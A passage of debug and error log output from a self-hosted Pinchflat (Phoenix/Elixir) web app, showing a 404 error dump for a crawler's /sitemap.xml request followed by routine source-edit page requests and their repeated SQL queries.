"pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.7"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVer4HYEpbacPQAAacB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 48890}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYazFUSFEwZHU4UkhqbllLbDRvd3VoVGhB._KlvWtmuZOvrJvrR51jtOcFUdM-AQobHhGEG7wP95y4", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.7", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 48890}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYazFUSFEwZHU4UkhqbllLbDRvd3VoVGhB._KlvWtmuZOvrJvrR51jtOcFUdM-AQobHhGEG7wP95y4", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.7", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYazFUSFEwZHU4UkhqbllLbDRvd3VoVGhB._KlvWtmuZOvrJvrR51jtOcFUdM-AQobHhGEG7wP95y4" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4477.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug. (truncated) 19:49:00.567 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:49:21.443 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:29.643 [info] GET /sources/4/edit 19:49:29.643 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "4"} Pipelines: [:browser] 19:49:29.644 [info] GET /sources/3/edit 19:49:29.644 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 19:49:29.644 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=1721.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 19:49:29.645 [debug] QUERY OK source="sources" db=0.4ms queue=0.5ms idle=1082.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:49:29.646 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.3ms idle=723.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 19:49:29.647 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=82.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:29.647 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.8ms idle=724.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 19:49:29.648 [debug] QUERY OK source="settings" db=0.4ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:29.648 [debug] QUERY OK source="settings" db=0.3ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:29.648 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:29.649 [debug] QUERY OK source="settings" db=0.4ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:29.650 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:29.651 [info] Sent 200 in 8ms 19:49:29.653 [info] Sent 200 in 8ms 19:49:30.138 [info] GET /sources/2/edit 19:49:30.138 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 19:49:30.139 [debug] QUERY OK source="sources" db=0.5ms idle=490.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:49:30.140 [debug] QUERY OK source="media_profiles" db=0.4ms idle=491.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 19:49:30.141 [debug] QUERY OK source="settings" db=0.3ms idle=492.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:30.141 [debug] QUERY OK source="settings" db=0.2ms idle=492.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:30.142 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=492.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:30.144 [info] Sent 200 in 6ms 19:49:39.220 [info] GET /sources/1/edit 19:49:39.221 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 19:49:39.221 [debug] QUERY OK source="sources" db=0.2ms idle=1299.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:49:39.221 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1299.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 19:49:39.222 [debug] QUERY OK source="settings" db=0.1ms idle=1300.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:39.222 [debug] QUERY OK source="settings" db=0.1ms idle=1300.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:39.222 [debug] QUERY OK source="settings" db=0.0ms idle=642.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:39.224 [info] Sent 200 in 3ms 19:49:39.377 [info] GET /sources/new 19:49:39.377 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 19:49:39.378 [debug] QUERY OK source="media_profiles" db=0.3ms idle=156.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 19:49:39.379 [debug] QUERY OK source="settings" db=0.5ms idle=156.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:39.379 [debug] QUERY OK source="settings" db=0.2ms idle=157.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:39.380 [debug] QUERY OK source="settings" db=0.4ms idle=157.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:39.381 [debug] QUERY OK source="settings" db=0.0ms idle=158.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:39.381 [debug] QUERY OK source="settings" db=0.0ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:39.383 [info] Sent 200 in 5ms 19:49:40.007 [info] GET /sources/5/edit 19:49:40.007 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 19:49:40.008 [debug] QUERY OK source="sources" db=0.3ms idle=628.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 19:49:40.009 [debug] QUERY OK source="media_profiles" db=0.2ms idle=628.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 19:49:40.009 [debug] QUERY OK source="settings" db=0.0ms idle=627.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:40.009 [debug] QUERY OK source="settings" db=0.1ms idle=627.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:40.009 [debug] QUERY OK source="settings" db=0.0ms idle=427.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:49:40.011 [info] Sent 200 in 3ms 19:49:51.445 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0}